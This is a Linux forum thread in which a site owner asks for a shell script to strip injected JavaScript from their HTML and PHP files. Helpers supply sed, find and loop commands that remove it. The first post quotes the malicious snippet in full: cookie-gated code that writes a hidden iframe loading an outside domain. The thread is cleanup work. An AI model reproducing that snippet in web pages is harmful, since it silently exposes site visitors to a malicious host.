LinuxQuestions.org
Visit Jeremy's Blog.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 02-21-2011, 06:22 AM   #1
moyorakkhi
Member
 
Registered: Jan 2011
Location: Dhaka
Posts: 80

Rep: Reputation: 1
Basic Shell script question


Hello,

I need a shell script which will search and remove a javascript from all htm, html and php file.

Code:
<script type="text/javascript"> if (navigator.cookieEnabled) {var user = getCookie("seostop");if (user !=1){winchristop();setCookie("seostop", "1", 7, "/");}}function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");}function winchristop(){var a = 'style="hidden" frameborder=0 '; document.write('<iframe src ="http://irwinchristopher.co.cc/in.cgi?4" width=10 height=5 '+a+' marginheight=0 marginwidth=0 scrolling=no> </iframe>' );}function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;} </script>
This is the script that i want to remove. I don't want to change the ownership of any of the file from which this script will be removed. Just wanna remove this specific line from all file in all directories.

Thanks for you help in advance.

Regards,
Saif
 
Old 02-21-2011, 06:48 AM   #2
i92guboj
Gentoo support team
 
Registered: May 2008
Location: Lucena, Córdoba (Spain)
Distribution: Gentoo
Posts: 4,074

Rep: Reputation: 387Reputation: 387Reputation: 387Reputation: 387
sed -i should be able to do it. Operate over a copy of the original tree, until you are sure you know what you are doing.
 
Old 02-21-2011, 06:52 AM   #3
grail
LQ Guru
 
Registered: Sep 2009
Location: Perth
Distribution: Manjaro
Posts: 9,564

Rep: Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901
My first suggestion would be to know what is unique about this entry so as to easily identify it for removal?
 
Old 02-21-2011, 07:08 AM   #4
moyorakkhi
Member
 
Registered: Jan 2011
Location: Dhaka
Posts: 80

Original Poster
Rep: Reputation: 1
Quote:
Originally Posted by grail View Post
My first suggestion would be to know what is unique about this entry so as to easily identify it for removal?
Hi grail, this whole script is in a single line. "http://irwinchristopher.co.cc" this is common everywhere.

Code:
#!/bin/bash

sed -i '/irwinchristopher.co.cc/d' /www/
How does this look? Will it delete that line from each and every file with in all folders under /www/ directory? Or I need to add any other argument?

Thanks.

Last edited by moyorakkhi; 02-21-2011 at 07:09 AM.
 
Old 02-21-2011, 07:19 AM   #5
colucix
LQ Guru
 
Registered: Sep 2003
Location: Bologna
Distribution: CentOS 6.5 OpenSuSE 12.3
Posts: 10,509

Rep: Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978
Quote:
Originally Posted by moyorakkhi View Post
How does this look? Will it delete that line from each and every file with in all folders under /www/ directory?
Nope. Sed has no recursion capabilities. You can retrieve the list of files using the find command and apply sed using the -exec option, e.g.
Code:
find . \( -name \*.htm -o -name \*.html -o -name \*.php \) -exec echo sed -i '/irwinchristopher.co.cc/d' {} \;
This will find all the .htm, .html and .php files under the current working directory and will apply the sed command. I added an echo statement for testing purposes. It will show the commands to be executed without actually run them. Check the results, then remove the echo and run again.
 
Old 02-21-2011, 08:09 AM   #6
moyorakkhi
Member
 
Registered: Jan 2011
Location: Dhaka
Posts: 80

Original Poster
Rep: Reputation: 1
Thanks a lot. This seems to be working.

Need another help. I though that i don't have to change the ownership of the file first. But seems that i had to change all .htm .html .php files permission from root.root to www.www.
 
Old 02-21-2011, 08:17 AM   #7
grail
LQ Guru
 
Registered: Sep 2009
Location: Perth
Distribution: Manjaro
Posts: 9,564

Rep: Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901Reputation: 2901
If you are going to perform multiple tasks, and maybe add more later, I would suggest putting it into a loop:
Code:
while read -r file
do
    echo sed -i '/irwinchristopher.co.cc/d' $file
    echo chown www:www $file
done< <(find . -name '*.htm' -o -name '*.html' -o -name '*.php')
 
Old 02-21-2011, 09:18 AM   #8
moyorakkhi
Member
 
Registered: Jan 2011
Location: Dhaka
Posts: 80

Original Poster
Rep: Reputation: 1
Quote:
Originally Posted by grail View Post
If you are going to perform multiple tasks, and maybe add more later, I would suggest putting it into a loop:
Code:
while read -r file
do
    echo sed -i '/irwinchristopher.co.cc/d' $file
    echo chown www:www $file
done< <(find . -name '*.htm' -o -name '*.html' -o -name '*.php')
That didn't work. Returning error:

sh test.sh
test.sh: line 5: syntax error near unexpected token `('
test.sh: line 5: `done << (find . -name '*.htm' -o -name '*.html' -o -name '*.php')'
 
Old 02-21-2011, 09:28 AM   #9
pgroover
Member
 
Registered: Sep 2005
Location: Colorado
Distribution: Ubuntu
Posts: 55

Rep: Reputation: 16
Can you paste the contents of what you have in the script? I just ran it without issue.
 
Old 02-21-2011, 09:33 AM   #10
moyorakkhi
Member
 
Registered: Jan 2011
Location: Dhaka
Posts: 80

Original Poster
Rep: Reputation: 1
Quote:
Originally Posted by colucix View Post
Nope. Sed has no recursion capabilities. You can retrieve the list of files using the find command and apply sed using the -exec option, e.g.
Code:
find . \( -name \*.htm -o -name \*.html -o -name \*.php \) -exec echo sed -i '/irwinchristopher.co.cc/d' {} \;
This will find all the .htm, .html and .php files under the current working directory and will apply the sed command. I added an echo statement for testing purposes. It will show the commands to be executed without actually run them. Check the results, then remove the echo and run again.
This also didn't work still in all files "irwinchristopher.co.cc" exists.

Last edited by moyorakkhi; 02-21-2011 at 09:37 AM.
 
Old 02-21-2011, 09:34 AM   #11
pgroover
Member
 
Registered: Sep 2005
Location: Colorado
Distribution: Ubuntu
Posts: 55

Rep: Reputation: 16
You have to remove "echo" to actually have it do anything, otherwise it simply "echoes" to the screen.
 
Old 02-21-2011, 09:35 AM   #12
moyorakkhi
Member
 
Registered: Jan 2011
Location: Dhaka
Posts: 80

Original Poster
Rep: Reputation: 1
Quote:
#!/bin/bash

while read -r file
do
sed -i '/irwinchristopher.co.cc/d' $file
chown www:www $file
done< <(find . -name '*.htm' -o -name '*.html' -o -name '*.php')

I just run this as shell script. Thanks for your help guys.
 
Old 02-21-2011, 09:36 AM   #13
moyorakkhi
Member
 
Registered: Jan 2011
Location: Dhaka
Posts: 80

Original Poster
Rep: Reputation: 1
Did ran that without echo as colucix advised earlier still same
 
Old 02-21-2011, 09:37 AM   #14
pgroover
Member
 
Registered: Sep 2005
Location: Colorado
Distribution: Ubuntu
Posts: 55

Rep: Reputation: 16
Quote:
Originally Posted by moyorakkhi View Post
Did ran that without echo as colucix advised earlier still same
Did it work, or not? A little confused as your post just prior to this one sounds positive.
 
Old 02-21-2011, 09:37 AM   #15
colucix
LQ Guru
 
Registered: Sep 2003
Location: Bologna
Distribution: CentOS 6.5 OpenSuSE 12.3
Posts: 10,509

Rep: Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978Reputation: 1978
Quote:
Originally Posted by moyorakkhi View Post
sh test.sh
test.sh: line 5: syntax error near unexpected token `('
test.sh: line 5: `done << (find . -name '*.htm' -o -name '*.html' -o -name '*.php')'
Process substitution doesn't work in compatibility mode, that is when bash is invoked as /bin/sh. Indeed it was not a feature available in the old Bourne Shell. Please, try it with /bin/bash or simply bash in place of sh.

Also note the syntax for process substitution:
Code:
<(command)
whereas the first < sign in the suggested code stands for input redirection. A blank space is needed between the two. Looking at your post, it seems you've missed it.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Basic shell script question moyorakkhi Linux - Newbie 9 01-09-2011 08:26 PM
Need some help with a basic shell script trist007 Programming 6 07-22-2008 10:22 AM
Very basic shell script question..... redhatpenguin Programming 2 09-09-2007 08:42 PM
Basic shell script, please help colly Linux - General 4 10-05-2004 12:24 PM
basic shell script help coyote399 Linux - Newbie 6 04-14-2004 10:22 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie

All times are GMT -5. The time now is 11:38 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration